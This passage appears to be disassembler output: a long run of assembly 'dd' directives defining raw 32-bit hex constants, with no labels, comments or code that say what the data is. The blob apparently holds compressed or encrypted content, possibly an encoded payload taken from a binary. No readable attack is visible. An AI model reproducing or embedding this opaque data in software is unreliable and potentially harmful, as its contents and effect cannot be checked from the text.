		dd 0AA1FBCEh, 0C0E87133h, 4B8064CCh, 578180E9h,	1EF56D8h
		dd 258C592Fh, 57950D03h, 87E82A8h, 4F83CC80h, 0A00C7E7h
		dd 2A2E5DF5h, 1803062h,	0ADEB46E3h, 952221C5h, 0F804AE59h
		dd 794E688Bh, 798909E3h, 0BF1BCD80h, 9D0FF0C8h,	87850942h
		dd 35C0D02Eh, 7C2AE9AFh, 1F0F7C81h, 4DDE8B8h, 0C3A0749Fh
		dd 5903A548h, 0D91D1BF7h, 0E8504084h, 9B51C1CFh, 24480D04h
		dd 4603990Ch, 763C7F29h, 6183E0D7h, 2F8F0FF4h, 30A065C6h
		dd 0A325B805h, 0F0857419h, 86E2A6B9h, 0CD12C60h, 6550CAB0h
		dd 790F0E59h, 0A19FBD7Dh, 5528FF3h, 48F2704Dh, 5CB730h
		dd 0DB12327h, 0FEA1C67Eh, 7AF3405h, 800080B3h, 0A5C5924Ah
		dd 9C330306h, 41020367h, 0C4356905h, 4C658D23h,	0BBBD5804h
		dd 0BFAF051Fh, 2EB44E76h, 414750C6h, 7FB5F70Fh,	0ABA9780Dh
		dd 0D46D31E0h, 0BCB22138h, 8C6B0A59h, 448F89Fh,	88517077h
		dd 0CD46150h, 741E0324h, 3A85003Ah, 8FA0049Eh, 7E2090A5h
		dd 26F90F51h, 325D0C9Fh, 6C109929h, 82289A2h, 2D2B4486h
		dd 0A3462284h, 22F85622h, 414223B8h, 228EB011h,	275005Ah
		dd 0E8E10DBAh, 95F4DF7Bh, 38009877h, 74540833h,	776DDB75h
		dd 0A3640047h, 0FFC73C2Eh, 0C2FAAA85h, 3ECC1D00h, 0B9A55370h
		dd 725FADAh, 71FC9AC1h,	5B919090h, 51003BD5h, 5C3E4D85h
		dd 37C20BBh, 1D33CFE4h,	4D0D8DEh, 8F008109h, 4AF5B731h
		dd 72D607Dh, 0C873CC6h,	9CA26034h, 8A0703BFh, 418DCA43h
		dd 164EBA80h, 7E9D02FDh, 2D79F37Dh, 0D871C0A0h,	7F00EBDDh
		dd 0E1E68AB3h, 12041D3h, 0DB9C9FA8h, 0F3FFA634h, 0C6C042C3h
		dd 2F01A252h, 0F37C5C91h, 40347E85h, 0A796073Ah, 60F01C40h
		dd 4E535446h, 0A606A07h, 0BEE03083h, 0EE438DD9h, 0BB8008Bh
		dd 6DD1CE11h, 1D006053h, 93C7D720h, 0B976C9h, 29A5FEBEh
		dd 0B4895039h, 77AD8F00h, 7693191Ch, 4505074Ah,	774FF9CBh
		dd 0A4A05078h, 563095F2h, 4B20B8E5h, 0F308000Ch, 0D11DC5Eh
		dd 0D3E6FC8Ch, 12792F00h, 2E9E52DDh, 679D014Dh,	478FD405h
		dd 0BDB0FC26h, 0AEC05000h, 0C69338CAh, 6F60F1Fh, 0EFA01573h
		dd 1765F22h, 87A4A93Eh,	55A87F28h, 40EC0FAEh, 0C746D2ACh
		dd 0B1F100DAh, 0A6E0D12h, 0D53989B0h, 0EDCA80CEh, 5A8CF87h
		dd 4EE0005Dh, 22B323DDh, 3E48517Ah, 9C2D073Ch, 0C07F298Dh
		dd 0D253144h, 0F1F93C19h, 8E6EFE80h, 832FD858h,	84C12B00h
		dd 0E7B1DE7Fh, 3D87E07Ch, 782E74h, 0BA9AE9E6h, 146FD795h
		dd 20DF831Fh, 2EFA7DC0h, 386C0CEh, 2519D265h, 0D9F8E492h
		dd 1118E37Ch, 0D1700C85h, 9E7A54h, 9C45FFEEh, 0B34B6234h
		dd 94F6B0A0h, 0F1196309h, 650C00B2h, 204964A8h,	24105706h
		dd 7A00A468h, 301CA32Ah, 0AE00A076h, 97FC80BBh,	24F2F3h
		dd 89FD5E2Ch, 2FFF98BDh, 615BD203h, 0EBA71D53h,	7F880029h
		dd 1208B78Ah, 70DDE745h, 0AF5DFCC0h, 0D9E52Bh, 149892AEh
		dd 3EB4A0Bh, 0ACDA4707h, 296045E7h, 3D1D39B7h, 16801FB9h
		dd 0A238C23Bh, 74002E24h, 15677EE3h, 5D2DF2h, 0DF7187C8h
		dd 6536E91Ah, 1E00447Dh, 97725F94h, 0EC711EEh, 50961342h
		dd 2B9B5620h, 0E8C3F609h, 0B8A06B0Ah, 0B984D5h,	0FE089848h
		dd 2A3B366Dh, 0E1B35800h, 6466707Fh, 0F0470035h, 0B9038C4Fh
		dd 0C601E51Eh, 98FE3783h, 92D89554h, 68150030h,	0C2293188h
		dd 4C07EE6Eh, 0FD1F6B9Dh, 8E0B6D71h, 1B5EC60h, 0F43F6F0Eh
		dd 0DC0D4CB7h, 0D00058F9h, 0AD9D5D26h, 0D61AAFh, 0EDF6C589h
		dd 73D372CEh, 578B0600h, 10FCDBAAh, 9A561397h, 7A8FB01Eh
		dd 41945216h, 0A8F0B41Ch, 18B2D5h, 0A70CFC9Bh, 2C6CAF84h
		dd 0C1088200h, 22111C3Fh, 6987008Eh, 3D1878FBh,	0DB00E5ABh
		dd 0B5D29BCFh, 3227FAFh, 80A3F2E2h, 98F93ABDh, 0B412CCD0h
		dd 0E8C0947Ah, 54C04EA8h, 9C2E004Dh, 3A16902Fh,	7B005DF3h
		dd 55CE2D0Dh, 7F65B1Ah,	6FE739C0h, 792AF17Fh, 0D01E8069h
		dd 6B0F541Fh, 5B240071h, 7A5A3C8Fh, 0EC037253h,	6F027CA8h
		dd 522C8892h, 0A354011Ah, 973628BBh, 0B1EFF8FCh, 44B76B00h
		dd 0D40D2A6Ch, 4BB822h,	5099AA66h, 0B1F37962h, 8F9A9D00h
		dd 6353BD25h, 0A6FD00C9h, 48108B12h, 0E200B3A5h, 7C13D77Bh
		dd 2A4427h, 4EFD18C6h, 6951F6F0h, 5DB82605h, 2782D252h
		dd 7B84C00Ch, 0D3AB0ECCh, 0F21310h, 61663F1Dh, 0D5727D23h
		dd 0EDB10D09h, 0F9C20016h
		dd 27C6C2h, 722B6BF6h, 3A439169h, 1EC6148h, 0AB1CA9FCh
		dd 24306A7Dh, 5AAD13E9h, 73EC27D1h, 0DAE08DB1h,	70006371h
		dd 0D528C433h, 781E6h, 53E9A25h, 797FC272h, 0D49B39h, 0B0D6CEE0h
		dd 0CE0AE2D8h, 0EB4073B0h, 9CE5E82Bh, 0F70C8000h, 54E41B79h
		dd 2635020Dh, 6A8EDA89h, 0F54AF360h, 0F60E4D00h, 0D9811B2Dh
		dd 79E3009Bh, 0C6A44640h, 2664A174h, 0B8211B1h,	3D589C8Ah
		dd 0E980C19Eh, 0D96CBED4h, 38C0B1BAh, 644D520Dh, 5C33022Fh
		dd 6C8BC563h, 678F2C40h, 0EEFAFE07h, 0AF101028h, 186A5106h
		dd 0D1D9B3F7h, 5F8EF43h, 2E5CF500h, 0B40F44Ch, 6A6F00FAh
		dd 18CB9917h, 0D91E4DA8h, 0C2448008h, 21C0F48Fh, 13F398E8h
		dd 0CD1F6D8h, 4910E919h, 0F5026178h, 9A95552Ah,	9BF4A088h
		dd 0BAD8B95Fh, 0B4F480h, 2B0474A1h, 14A223FDh, 9A631607h
		dd 299027E5h, 0F910B3h,	5B9F1965h, 0F84F98C6h, 903C098h
		dd 7B013246h, 2516B0C9h, 0EA913885h, 425812h, 46785237h
		dd 29001A8Ah, 392063Ah,	0F0B5E47Fh, 0CF670E0Dh,	0F6E06EE3h
		dd 51491E6Ah, 0E230DF00h, 0EF3CB789h, 1D90A2h, 63F80E9Bh
		dd 111C059h, 87DC3400h,	5E3AE5A5h, 2CDF001Bh, 97E10F9h
		dd 924A8C1Ch, 0C382CC00h, 0F64ED308h, 80175E61h, 0CBCEF475h
		dd 0A0211200h, 0BE19EA1Eh, 7FDE1FFFh, 251380E8h, 5E4E8731h
		dd 0A700F972h, 0E7CCBF7h, 50FCB1A4h, 1CF1E867h,	83EE4D2Ah
		dd 79534872h, 69F00798h, 3442D4A8h, 0D7256700h,	0BA1BB9D9h
		dd 7EB2E92h, 0ED200300h, 50DF7C0Dh, 727FDB1Ch, 3C956E00h
		dd 0FFAC24B6h, 3F860078h, 77500984h, 40091BEh, 0C15AEC2Fh
		dd 195B1Bh, 0E5FC8683h,	2C5E29B6h, 0D20FD300h, 0CAC9A9CDh
		dd 0CA0000Dh, 43183DE2h, 967F7421h, 0DA40A100h,	0C101BE52h
		dd 0B19E740Eh, 0BC240084h, 8D09B7Ah, 1F525C1Dh,	37209840h
		dd 0EF4C4Eh, 4F353066h,	26539954h, 0D610E801h, 5862E5B7h
		dd 2361DFCh, 9067E26Fh,	38439949h, 0E52061C2h, 0E62E6875h
		dd 0A2BD1C5Dh, 93EE6Eh,	4CE5911h, 5100ECEDh, 70202A7Eh
		dd 0E8D1389h, 0FF277FFCh, 40AC7B00h, 0A065AE9Dh, 24C01551h
		dd 0E51D9F3h, 992B0EA6h, 0C0228BE5h, 0D23F5E5Dh, 3A1D5090h
		dd 3D808391h, 59E32F0Ch, 0BF7100A8h, 7C34115Eh,	473FBE6Ah
		dd 0B0C68FB7h, 9C7C17Ah, 36D45AFBh, 86560049h, 570B9F8Ah
		dd 0DA006C69h, 83D4E614h, 2EB4D045h, 3CB823h, 7E585D0Eh
		dd 60EA1CE4h, 6AAE0809h, 95D40775h, 42D43040h, 4BF10033h
		dd 76A3ED73h, 0FA005B91h, 0D8839CF6h, 6F0A8Fh, 1A65026Ch
		dd 899A274Dh, 47CAD21Eh, 3FFC5E41h, 3330211Fh, 97F800B0h
		dd 0B811B93Ah, 1EEC614Fh, 47107101h, 35C0D453h,	2CD8AE8h
		dd 0D2CEABBFh, 4AE021F6h, 0C600F820h, 32D03706h, 0FAA9913Bh
		dd 0F76500D6h, 48D464D1h, 8100DE24h, 34A64988h,	0C061D3BFh
		dd 51DB2D08h, 0C80F581Dh, 0A0238497h, 72C5A62Fh, 0F1173D81h
		dd 3F89523Fh, 1B83DBEBh, 19C8A024h, 7C0EB962h, 395B806h
		dd 0F03544FAh, 7F3174h,	576C5171h, 0A399BC89h, 1A27E418h
		dd 0E79C17Ah, 233C368h,	8F3B0C47h, 0B0DA3DE0h, 0CF00B56Ch
		dd 78ADFFA3h, 120922h, 0F817C82Ch, 57A1AFD8h, 4C73F400h
		dd 0C0C1787Bh, 590D0FE6h, 0B2D904h, 0EF8FCBB5h,	68E80C70h
		dd 63997100h, 0AB2C241Ah, 0B60B0E5Ch, 144FE11Dh, 0DFD3D500h
		dd 840209BAh, 0A407CEEh, 3B43C1E8h, 38549980h, 0CBFE76ADh
		dd 9B0F8800h, 0D9B6FC93h, 0E760E3DBh, 99EA00D1h, 1C911A6Bh
		dd 5801652Eh, 0B9A232D4h, 118196C4h, 9F064A7Ah,	14ED4091h
		dd 3300F656h, 6DB59427h, 7CAE23h, 0D121B7E9h, 0BF4662B2h
		dd 345CF407h, 0A0C0614Ah, 0CB18Dh, 78EC0937h, 0EE648281h
		dd 0FD519500h, 0D6149705h, 11E866h, 13CCFCBFh, 0FE4E30A0h
		dd 0E0AB2100h, 0DEA62962h, 5825264Bh, 0CA5A00D1h, 0F93EE691h
		dd 0F7004898h, 365B94CFh, 0BE0FBFh, 0F2B38FDDh,	46866851h
		dd 19D52A18h, 0FA1811h,	0CFED8402h, 0BF599374h,	8BE8E200h
		dd 0B43BCED3h, 6119000Ch, 2B8D4089h, 463C7D05h,	604810h
		dd 0D641EB84h, 0C24DDD7h, 1EF85BEAh, 6D001740h,	894251FEh
		dd 23F34Bh, 84181BB0h, 0BC61C712h, 0C093AC01h, 0C32A203Ch
		dd 3CDB4CF4h, 1C8150DEh, 9FB2F72Dh, 1749D0B7h, 0F0E69EA0h
		dd 0BF001F70h, 0AA270248h, 132573h, 3EAC3C75h, 0CC3A54EEh
		dd 0B5F61FF6h, 340060FCh, 0F04401A4h, 2647F5Bh,	8C2B0C81h
		dd 0CE09443h, 1C0055DCh, 0E1DE5A59h, 84927h, 0B937F50h
		dd 953A7DC6h, 0D11DD3B0h, 2A47ECA3h, 0B7D342E4h, 64DE90E6h
		dd 50F0190h, 9458865h, 0FAB07FF8h, 0E0060032h, 0A4B5EB8h
		dd 0B400A7FEh, 0F74D2BAFh, 0D2CFA5h, 9EF04C68h,	78591EDBh
		dd 0A1CD1800h, 0CBC3412Eh, 0FCC40005h, 10D985D7h, 3C1D71BEh
		dd 0B1800442h, 0B5050E55h, 9407001Ch, 0AB5F6D98h, 47000FC4h
		dd 5337EA89h, 37EF9DBh,	0CAF65407h, 0D2F07366h,	56005EE1h
		dd 2AA4C11Ah, 0DDAD96h,	0A3BD57FEh, 0C5B17455h,	0EB985D0Eh
		dd 4F932050h, 7909F13h,	0BBC43861h, 34D92C1h, 1DD127E0h
		dd 89171100h, 96E91645h, 4217379h, 0A193BE72h, 0DEC3C06Ah
		dd 9C00DAF2h, 24CBCC1Dh, 0B95694h, 8380EFE1h, 7C7AA40Bh
		dd 0C2120100h, 5BEE6FDBh, 1B6A0049h, 0B782BF27h, 0BE033B20h
		dd 2822AE24h, 13D7B045h, 0E5C400DEh, 0E603BC2Eh, 260C1E9Bh
		dd 319A795Ah, 8AEE0717h, 907558E5h, 0E33AC8BBh,	10C79001h
		dd 5247FB57h, 2CC43C31h, 0DAAD0098h, 2E17518Fh,	8501B3CDh
		dd 0F12AB419h, 0E0808A30h, 8B548907h, 9F0047D1h, 0C90B95CFh
		dd 1ED85014h, 409B816Eh, 0E73FA865h, 0DE002C41h, 0B6EB78E9h
		dd 0BA924Eh, 77CA966Eh,	0E251C03Bh, 8041383Bh, 0A6547AEDh
		dd 0E6CD551Dh, 60FB0F46h, 6465FE82h, 48F00020h,	0EF7E573Dh
		dd 0B9582102h, 60173AD9h, 0F302ABh, 0A2E5121Ah,	0E82DC45h
		dd 0F6B7351Eh, 0A9EDFFC3h, 0C13E883Ah, 5FCD0EC9h, 0AEC0CF69h
		dd 0EEEBAD4Eh, 0BED16300h, 67EF25A0h, 6DB105C6h, 0C0115F49h
		dd 0DCE56A93h, 31501260h, 4C6CE254h, 0C1022A56h, 6559F529h
		dd 57034FE0h, 0FF07B21Fh, 5EF280BEh, 0FED33F95h, 0F62B3D84h
		dd 0BFDB0F80h, 0DDD59F6Ah, 19FC2300h, 0A7A21F1Ah, 81AD280Ch
		dd 75B00384h, 0FD642077h, 8B5D7BB8h, 0EFEB9500h, 47BFD054h
		dd 8C87009Bh, 0C29ABE8h, 0EA029AA8h, 7684BB7Ah,	0CE98E085h
		dd 28B9001Ch, 566A393Ch, 0A07988ECh, 65EE3000h,	27746F4Eh
		dd 2BF01DFDh, 0A39F00E6h, 0DC50D31Bh, 6DA53Fh, 8AE3D930h
		dd 52B2F9h, 35CAD48Dh, 9A39664Dh, 0E6ACC100h, 859C1669h
		dd 5B70124Ah, 6310009Dh, 9FFB6EF6h, 7CC58A00h, 485101CCh
		dd 955B00D0h, 0D5028CFEh, 2A000B17h, 41E02C37h,	427CD1h
		dd 9887ED3Dh, 68DDAAE7h, 47AD600h, 1317B3B6h, 346401FBh
		dd 0CF5B4D60h, 9F0CD86Eh, 0F006BC75h, 57138ED7h, 84CC1E80h
		dd 2FE10CD9h, 66809C11h, 948933h, 3EAA02h, 905C7CF0h, 79082EFAh
		dd 192F201h, 81A46F75h,	0AC6C7F3h, 6C624C18h, 6C076D39h
		dd 0CF046FF8h, 970A0C34h, 80808D24h, 86D2310Bh,	86E928FFh
		dd 4EF32550h, 50161028h, 139888Ch, 0DB67ADA1h, 3DF330B3h
		dd 566D8500h, 0FF219D9Bh, 7A870050h, 47490319h,	30008B28h
		dd 0FC6C3CC3h, 1D78218Eh, 0E3B032h, 3BA31A9Ah, 8F0CA0C8h
		dd 3A90B675h, 0BC0F3BCEh, 9FA58101h, 0EC881666h, 20EA663h
		dd 41FE2E8Dh, 7FA78BF0h, 1623770h, 0EF33FC56h, 0C081145Dh
		dd 5871F664h, 19A9C600h, 73F3B6F0h, 986D0026h, 4B6FBD88h
		dd 57003F20h, 633153C0h, 60A09903h, 7A88E810h, 90A09E62h
		dd 0F30A2367h, 10BB8C17h, 206E5C80h, 8F540Ch, 55368DB0h
		dd 28902B8Eh, 44508902h, 0D709F361h, 0A4015C42h, 0F0D71E1Fh
		dd 0ACA83B6Ah, 0D8882EBh, 0DA200029h, 0F9DE339Fh, 3FFE22F1h
		dd 97F86D00h, 6B68630Fh, 0FC53503Ah, 1C090252h,	2EB3B595h
		dd 0FD41E480h, 0A1309658h, 0ABEAA13Ch, 272800ADh, 700A36CDh
		dd 77068EC3h, 86CAE9FEh, 0F83EE79h, 0C80FEC97h,	44582900h
		dd 4000D59h, 0FB51E639h, 98CC904Eh, 4F0C2AC2h, 867B1730h
		dd 0D845008Eh, 421F0978h, 14B3D301h, 13E1CFE9h,	0BF0E2F5h
		dd 7F81Ch, 3CCE67F2h, 97DB4ED0h, 72F35119h, 44E7911h, 48ED550Ch
		dd 30000E10h, 0EF52CC53h, 19D3316h, 0D870D0A8h,	0C8A31C80h
		dd 0EC00F415h, 55888F06h, 40CDE6h, 19127DE8h, 0D07AB6A6h
		dd 0C41C777Bh, 4440FF58h, 1068098Fh, 1CA8F2B5h,	0FECE725h
		dd 74009178h, 269E388h,	0C00A77Bh, 847A9A03h, 259323Bh
		dd 1C7ED720h, 5C40F21Dh, 8C3EDACDh, 3F2E806Eh, 668D1BBBh
		dd 0B1CA0082h, 7DF16327h, 1500F343h, 0CB7CA6FAh, 1F0FCC84h
		dd 40C640D5h, 5B9F690Dh, 0E90026D2h, 0EFAEA309h, 0E415EA61h
		dd 777F90EEh, 3FCBFE4Fh, 9E80C3A4h, 0B4BDA8D9h,	4805B0EBh
		dd 38405C10h, 9900B7C5h, 73846F8Bh, 0C78900EFh,	7D99D058h
		dd 610ED1E5h, 0C0B22B57h, 0AB4143E9h, 0CF2905B5h, 0E3D1917h
		dd 900009BCh, 44BA016Ah, 0EC5A11Eh, 0CA84D900h,	0D4E42B4h
		dd 49EEB6C9h, 19D28048h, 0C8708AF2h, 512F30F5h,	47E5B118h
		dd 0B462DFE4h, 0A0740360h, 410AF5ECh, 0FC221452h, 0A0008C7Fh
		dd 0DF471661h, 60F0BE31h, 4100EE5Eh, 0CC5F0FF5h, 0FBFA1E23h
		dd 0BB5CEDD2h, 0D8B2707h, 0F8C322A0h, 166307ABh, 0C7F2C961h
		dd 405BC599h, 420660C0h, 72070731h, 0EAF195C5h,	2AD461D0h
		dd 633B0008h, 0D8C260B0h, 0E87A20CAh, 4F335A00h, 61F3A4D2h
		dd 5B503A2h, 4642F93Eh,	6A97E480h, 51A53000h, 6457F135h
		dd 0DE950E02h, 0D7C0E922h, 0EE70BFFFh, 5F050DF6h, 0A42D23B0h
		dd 4A992D80h, 15CE00D4h, 0E822DC77h, 8C0321F2h,	0AD762483h
		dd 0B72906DBh, 0DE61A7ECh, 0DDF69401h, 3FF487D2h, 131A9F8h
		dd 12809230h, 0E889793Ch, 49000928h, 694F40C9h,	0F2C17194h
		dd 6A3100EFh, 0FBF9DF9Bh, 7F000844h, 0C39C5BA3h, 15C77CEh
		dd 9010DBA2h, 0D8D906ABh, 0F700596Bh, 6CF0FC2Bh, 0DE8284h
		dd 0D5F640BDh, 704726F2h, 418E7418h, 1F1E7A68h,	800D380Ah
		dd 4D254EECh, 0B27ABF5Ch, 6876100h, 837B96AAh, 60B13A81h
		dd 0F0F6D185h, 0F3D10095h, 0FA441AD9h, 0DAFC1603h, 809DA676h
		dd 3C35A9h, 0ED248F86h,	895AE03Fh, 0CAF7700h, 0A73AEF49h
		dd 0D5873054h, 3F0A6971h, 0CAAD80h, 3B62B412h, 0A1A726C2h
		dd 0FBC72F00h, 0CF2B1F6Fh, 0ECB3FB3h, 7100063Fh, 0A5862449h
		dd 407DCA2h, 97481252h,	0EA3359B0h, 0ADE605DBh,	80256608h
		dd 3A0C866Eh, 961F7601h, 0BD04D777h, 3C8082C8h,	62B83EB5h
		dd 0C883D9B8h, 0D0BB8D42h, 1F541BC8h, 191E2E00h, 0B1FF820Dh
		dd 0C1C2002Ch, 0D1833F9Eh, 21001F53h, 0DBF2D2A9h, 9C7943h
		dd 0E02B42B8h, 240A6622h, 61CAD607h, 0B180F6D3h, 931043h
		dd 0B7F4DE15h, 0B6F956B5h, 0EE3CFDF8h, 0C90400D7h, 0D30E5C7Dh
		dd 0B0470051h, 9A300DEBh, 62488E79h, 252B1724h,	8D1C22FCh
		dd 0E945C03Ch, 1AD5F341h, 0D89D3403h, 0D0814FB8h, 0F4C8B0B2h
		dd 0E2A107FEh, 0F062CFC5h, 0CABE96A9h, 5AAA7D0Ah, 5D01C59Fh
		dd 974489BBh, 3DA4E6C4h, 7A80EE6Ch, 7E0275EBh, 910331BEh
		dd 7FCE2AA2h, 0FF1CB064h, 86C92FDh, 314EAB63h, 0F3F1A353h
		dd 258FC10Eh, 0CB9A807Ah, 860093B4h, 9D4E7FCFh,	3C2A089h
		dd 846922D2h, 8C929635h, 6F4B1C40h, 80CC743Fh, 6BF30E70h
		dd 0A8114578h, 2813DDE8h, 7F806950h, 5B260EA5h,	126ACF64h
		dd 2E6A8394h, 2900D7ACh, 5D9B23E3h, 0E4B63D4Dh,	0BD945086h
		dd 520C0065h, 0BBD711A8h, 0FD074A3Eh, 0CBC4D927h, 0C7681F00h
		dd 0F18900D6h, 998582D7h, 8A09810Dh, 80AB102Fh,	13FF8331h
		dd 84B489Eh, 0CB907Dh, 0D4B4C85Ah, 0C1B98CE6h, 25405800h
		dd 94752387h, 0D65A0FF8h, 96200301h, 13E45B52h,	6F7C7700h
		dd 53C18AF7h, 799000A4h, 8D189E06h, 92D7A0Fh, 80DFE2ADh
		dd 33682952h, 0EB771EE3h, 0EED381F4h, 0F7E8C2CAh, 0FCA2B780h
		dd 110083FAh, 0DCF73754h, 0F3E7848h, 0CDF592C5h, 20D43043h
		dd 0FBFEF3D0h, 2CF2A224h, 46977640h, 0D3E69Ah, 0BD28A881h
		dd 5A18D72Bh, 0CD034098h, 8398F976h, 0A394E8ADh, 0ABE2001Ah
		dd 9E3E3C69h, 6538BB89h, 0A5F08355h, 97C5B502h,	88629031h
		dd 42E0C4h, 918A18Eh, 4B1F031Ah, 0CD915200h, 0A9659F66h
		dd 0CFCA0023h, 0E26DD5A0h, 0F9006B7Ah, 8D5CB688h, 7B6CC9DCh
		dd 64BA3F7Dh, 6114987Fh, 0B6D19872h, 3ADFF4B9h,	1FBC9C00h
		dd 79C0A287h, 89F40EA1h, 7A449437h, 615C80A0h, 0DE001046h
		dd 609E6DB2h, 4AA901h, 5A731735h, 0A40FC69Ah, 0DEC06800h
		dd 0ED6FBEBBh, 61030002h, 0B50118Ah, 243C5FA6h,	746C80E4h
		dd 0C5BD31D4h, 0C04B0089h, 5D6980A1h, 83073C46h, 1052B9E5h
		dd 0F81B07F0h, 0E2203A0Dh, 45F56107h, 0E7E03E87h, 0D4242B3Ah
		dd 0DCD15300h, 0B91320F0h, 0B1AC66A0h, 98902038h, 3D07A6F0h
		dd 55A2995Bh, 73A1BF40h, 102E5039h, 1C4B51B8h, 1D84E0ECh
		dd 820FDh, 0A55D68E4h, 0B52621CBh, 7500D0F9h, 4147C6FAh
		dd 80E2008Eh, 401BC051h, 0E703E88Ah, 0E5DF1C20h, 0E0400122h
		dd 0FCC7F0FBh, 0DA609371h, 0FCAF990Fh, 3574F780h, 4DE57510h
		dd 0D8301056h, 0E7DA6820h, 0A13BF130h, 0ACA1BAh, 1335256Fh
		dd 0B1D8DE0Dh, 0F108F700h, 0B93A560Bh, 4AD105F0h, 0FF3AD27h
		dd 30098B3h, 5E97E59h, 8E60ACB8h, 3DBE1E54h, 0CF021712h
		dd 0F83300DCh, 0B54AA5F5h, 0A3852200h, 0B6210797h, 99B10186h
		dd 23ABE55Eh, 0DF73C857h, 92411000h, 0AE86526Eh, 0FD8B0074h
		dd 0BF87F726h, 0C9C05540h, 0DF336641h, 19D0E6DAh, 87BE224h
		dd 14218F29h, 6D5A71Eh,	9980F904h, 18ACD34h, 39AAAD25h
		dd 64F38FF1h, 0D000D478h, 656D10A0h, 0CB75BB35h, 0C020D809h
		dd 54A068B4h, 63A2E07h,	0E8D06057h, 3BA8E25h, 0F8787573h
		dd 0C9B091A3h, 26E62D94h, 0C8B468C6h, 0AF072A40h, 203F67B4h
		dd 633CA8A5h, 2E0D81h, 0A0AF0521h, 38FCB136h, 0C49F4D51h
		dd 0A600E27Ch, 532A6187h, 0ECC1EEABh, 0E00C5277h, 0FAE99F00h
		dd 5B15A2BCh, 9B8F133h,	7F213D9Ch, 53B4FA00h, 40C73CB1h
		dd 0A1C55000h, 95DD5C83h, 468CA484h, 0A0D302F0h, 31DD6D13h
		dd 0EBB310FDh, 0AC100A0h, 0FABDAF6Ch, 0C901A6A3h, 153ABF1h
		dd 0A1E73EF4h, 22E09405h, 46430034h, 50C3E507h,	6F00A244h
		dd 0A99FCD20h, 7DB641h,	60709502h, 8A79FB5Eh, 4A1F801Fh
		dd 0E2EF5640h, 5F87BCh,	32066173h, 3365BEC3h, 3ECE48h
		dd 457BED47h, 33A69A1h,	0BEA294BAh, 0FAA0E9C3h,	441EE864h
		dd 928023DEh, 0E2B6A549h, 39500057h, 0D4178508h, 690736F3h
		dd 74DD46DEh, 68E5A720h, 0D980027h, 7656EB1h, 1AE8BAF9h
		dd 0C0DD3300h
		dd 0E4B90974h, 0CF240964h, 2080B741h, 6801DC1Eh, 99ED3700h
		dd 66E8AA82h, 26C8FE3Fh, 7A53D9h, 0E4A1B0FAh, 830767ECh
		dd 0BBADEDBDh, 641987C0h, 8C980643h, 8A81BAFh, 20ECC930h
		dd 199EFCh, 0C023B0A2h,	0B33D2F36h, 6D995F00h, 0D1436FF2h
		dd 0C67D00BFh, 0EDBB806Ah, 0BA3ADA0Bh, 668D9F9Ah, 65FBA7Dh
		dd 6E2D6976h, 0BBAF3708h, 7D1E2020h, 9500B76Ah,	0BC2B4153h
		dd 39A1F5h, 0BF9FF170h,	0C15C2728h, 0EA3F59F4h,	6686393h
		dd 4B400066h, 2C144D36h, 5930780Bh, 0B0AD59ABh,	0F7BA1851h
		dd 2F5530ACh, 48487337h, 4E77DAC0h, 0ECB1C8C7h,	857D65C2h
		dd 58221EF8h, 1D9720B0h, 7C02317Dh, 0B4F80D32h,	0C6A880FAh
		dd 0C05DE3DFh, 1AC4560h, 54C63BEh, 0CA140FC9h, 29B380F8h
		dd 0F34030h, 0D2D68479h, 0C7F23D72h, 0B3C2600h,	81CABF38h
		dd 1FECEEFCh, 0A4068A83h, 39A20CE8h, 4A73A11h, 361913E1h
		dd 9BE1080h, 590C6058h,	4F7BC007h, 33D73B37h, 0D11389C3h
		dd 0F6705CDCh, 63AB328Dh, 0AF119C28h, 0E1F422D2h, 515D6C2Fh
		dd 802284E8h, 1428504Ah, 845F446Ah, 4B2E2284h, 44791C42h
		dd 62885051h, 0F0030095h, 649F2AF5h, 9FB0A577h,	94F9ED00h
		dd 0AEA46079h, 0EFE53F02h, 0C58FDF80h, 2D3846E2h, 0BDCF7A00h
		dd 3274F0B3h, 1FBE002Fh, 0FF24580Dh, 0AE000393h, 0C0694B76h
		dd 7E44D7B4h, 5B9A077Bh, 0C06DFD36h, 4EAA329Fh,	0A3BCF800h
		dd 0EDFB29D2h, 0D0F1003Ah, 61866F56h, 0F500CBFAh, 0FE260AA4h
		dd 1C9CB15Fh, 439A832Dh, 3A0552F8h, 290059D3h, 48B84DC3h
		dd 5745CA9h, 0B221A2DEh, 0D8D843F0h, 9A08204h, 6A002C71h
		dd 17AEFE16h, 2453F06h,	0A68EA453h, 23E378C0h, 1459500Eh
		dd 0D846A00Dh, 0C1BAE9h, 0EC322E98h, 35C0A7CCh,	0A4696B0Eh
		dd 2646E4E8h, 495D2490h, 9CAC38EAh, 4D184200h, 0CBD8CD7Eh
		dd 7548D600h, 0C5A58DDFh, 0EE391E33h, 0E69DBBh,	0F12A8654h
		dd 2E280BEFh, 0B21C8CDBh, 74402B09h, 0F2CF969Ah, 16E7004Fh
		dd 4738CB44h, 0D800E0D1h, 0C96B26F0h, 37E2E4h, 9080ACAEh
		dd 0D465D64Eh, 0F706D5B0h, 66DA1561h, 56EF211h,	0A0786D5Eh
		dd 228400A8h, 48664AFAh, 3549FF0Fh, 17D200B6h, 1056CBDh
		dd 60CA75F8h, 0E02D9D21h, 0BE0E44AEh, 0A0CC14FAh, 15B4E0FCh
		dd 3306076Dh, 90F5A656h, 85F4EF54h, 0D4F11C00h,	0C4AC0F92h
		dd 97D60E1Bh, 0A720B859h, 41C1B463h, 736EB012h,	4DBAA800h
		dd 982EB7DBh, 0AE1200E5h, 26BFD35Dh, 423CE3F1h,	8AA601A7h
		dd 183DC7DEh, 5B9EDCCh,	3375709Dh, 0C8658008h, 3728AA8Bh
		dd 0C038CB76h, 4B930034h, 4C4A1EA6h, 90BD7AC1h,	6540008Ah
		dd 172DAF76h, 24049F35h, 0F54C81C3h, 8705E482h,	1680E0CDh
		dd 966BEDh, 76938825h, 0CB6572AAh, 58E3FF24h, 4B021D26h
		dd 40856DF0h, 88DC11Ch,	9AAB0C95h, 0AF1FCF09h, 0E323E018h
		dd 0CC71ACCh, 37C56844h, 0B6002F72h, 0EB7D0451h, 50F1960Dh
		dd 3E4AB088h, 7B9C0B69h, 0FC17805Ah, 591FFF8Dh,	0C80027E4h
		dd 644E1667h, 5BB5AFBh,	1E4677C6h, 0FE7DC03Fh, 6D3A1287h
		dd 0BD548015h, 0C04D17A5h, 5D380FF2h, 3C00240Dh, 0C232BF81h
		dd 0C499A03h, 9AF72D29h, 7EEE8009h, 39C4ECh, 28370BC6h
		dd 2C607DAFh, 5FF92003h, 88D6FDEDh, 409FA5h, 1EBC868Ah
		dd 1447DC2Ah, 0BC1D4B24h, 0F20F1C00h, 7B9D28h, 0FFF8AE66h
